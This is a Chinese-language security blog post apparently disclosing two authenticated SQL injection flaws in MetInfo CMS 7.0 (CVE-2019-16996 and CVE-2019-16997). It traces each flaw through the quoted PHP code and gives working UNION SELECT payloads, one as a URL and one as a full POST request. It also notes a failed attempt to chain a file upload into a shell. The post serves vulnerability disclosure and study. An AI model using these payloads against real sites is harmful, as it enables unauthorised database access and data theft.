很可惜是个后台的注入
跟汤姆表哥再搞创宇的年度任务🤒,昨天发了metinfo6.2.0的组合拳,今天看了看官网有最新版的7.0,就下下来看了看,发现两枚注入,而且昨天的组合拳增加了后缀校验,绕不过去了,呜呜呜。
sql injection 1
全局搜索where
app/system/parameter/include/class/parameter_op.class.php:165
public function paratem($listid = '',$module = '',$class1 = '',$class2 = '',$class3 = ''){
global $_M;
$paralist = $this->get_para_list($module,$class1,$class2,$class3);
foreach ($paralist as $key => $para) {
$list = $this->parameter_database->get_parameters($module,$para['id']);
$paralist[$key]['list'] = $list;
if($para['type'] ==4 || $para['type'] ==2 || $para['type'] ==6){
$values = array();
foreach ($list as $val) {
$query = "SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND info = '{$val['id']}' AND lang = '{$_M['lang']}'";
$para_value = DB::get_one($query);
if($para_value){
$values[] = $para_value['info'];
}
}
$query = "SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'";
$para_value = DB::get_one($query);
$values = $para_value['info'];
}else{
$query = "SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'";
$para_value = DB::get_one($query);
$values = $para_value['info'];
}
if(is_array($values)){
$paralist[$key]['value'] = implode('|', $values);
}else{
$paralist[$key]['value'] = $values;
}
}
return $paralist;
##require PATH_WEB.'app/system/include/public/ui/admin/paratype.php';
}
发现{$listid}
直接被拼接进sql语句,且listid
是函数直接传进来的参数,搜索哪些函数调用了这个函数

app/system/product/admin/product_admin.class.php:171
public function dopara() {
global $_M;
if($_M['form']['app_type']=='shop'){
$class1 = $_M['form']['class1'];
$class2 = $_M['form']['class2'];
$class3 = $_M['form']['class3'];
$paralist = $this->para_op->paratem($_M['form']['id'],$this->module,$class1,$class2,$class3);
require PATH_WEB . 'app/system/include/public/ui/admin/paratype.php';
}else{
parent::dopara();
}
}
$_M['form']['id']
可控,那么sql语句就可控。
payload
http://php.local/admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=2 union SELECT 1,2,3,user(),5,6,7 limit 5,1 -- +
sql injection 2
app/system/language/admin/language_general.class.php:108
public function doget_admin_pack($appno,$site,$editor)
{
global $_M;
$sql = $appno ? "AND app = {$appno}" : '';
$language_data = array();
if ($site == 'admin') {
$query = "SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='1' {$sql}";
$language_data = DB::get_all($query);
$lang_pack_url = PATH_WEB . 'cache/language_admin_' . $editor . '.ini';
} else if ($site == 'web') {
$query = "SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='0' {$sql}";
$language_data = DB::get_all($query);
$lang_pack_url = PATH_WEB . 'cache/language_web_' . $editor . '.ini';
}
foreach ($language_data as $key => $val) {
file_put_contents($lang_pack_url, $val['name'] . '=' . $val['value'] . PHP_EOL, FILE_APPEND);
}
}
$appno
直接拼接 当site
等于web或者admin时造成sql注入
找下有没有调用这个函数传参的
app/system/language/admin/language_general.class.php:90
public function doExportPack()
{
global $_M;
if (!isset($_M['form']['editor']) || !$_M['form']['editor']) {
$this->error($_M['word']['js41']);
}
$editor = $_M['form']['editor'];
$site = isset($_M['form']['site']) ? $_M['form']['site'] : '';
$appno = $_M['form']['appno'] ? $_M['form']['appno'] : '';
$filename = PATH_WEB . 'cache/language_' . $site . '_' . $editor . '.ini';
delfile($filename);
//获取后台语言包
$this->doget_admin_pack($appno,$site,$editor);
$filename = realpath($filename);
header("");
Header("Content-type: application/octet-stream ");
Header("Accept-Ranges: bytes ");
Header("Accept-Length: " . filesize($filename));
header("Content-Disposition: attachment; filename=language_{$site}_" . $appno .'_'. $editor . ".ini");
//写日志
$log_name = $_M['form']['site'] ? 'langadmin' : 'langweb';
logs::addAdminLog($log_name,'language_outputlang_v6','jsok','doExportPack');
readfile($filename);
}
看下代码,首先要传递参数editor
跳出第一个if语句块,然后site
和appno
直接传入doget_admin_pack()
函数,参数都可控,妥妥的注入。
payload
POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1
Host: php.local
Content-Length: 58
Origin: http://php.local
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=40d2af28a4c309bbb824dc957af59b11; arrlanguage=metinfo; re_url=http%3A%2F%2Fphp.local%2Fadmin%2F; met_auth=65acz4xG7IkP%2BqmPuO%2FIvPsKt4luK6Te34p%2F2BHXEosgKHUwk8dKQRHs7y4Ea9mCH1egudtuz%2Bl02L3eIhMLs7%2FDMw; met_key=PLBqK9J; page_iframe_url=http%3A%2F%2Fphp.local%2Findex.php%3Flang%3Dcn%26pageset%3D1
Connection: close
appno= 1 union SELECT user(),database()&editor=cn&site=web

组合拳
在前文中提到了metinfo6.2.0配合注入getshell的姿势,但是在metinfo7.0中增加了后缀校验,无法getshell,很可惜。
app/system/include/class/web.class.php:757
if (stristr($filename, '.php')) {
jsoncallback(array('suc' => 0));
}
但是这个点仍然可以上传其他后缀的文件,通过这个点配合解析漏洞或者文件包含来getshell未免不可行。
想到了htaccess和.user.ini的同学别费力气了,写文件没办法换行,如果有师傅有新姿势,欢迎评论指点啊!
总结
metinfo7.0的注入实际上还有很多,不过很多都是delete型的注入,我在这里挑了两个回显的注入,欢迎师傅们补充交流。
CVE-2019-16997
CVE-2019-16996
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er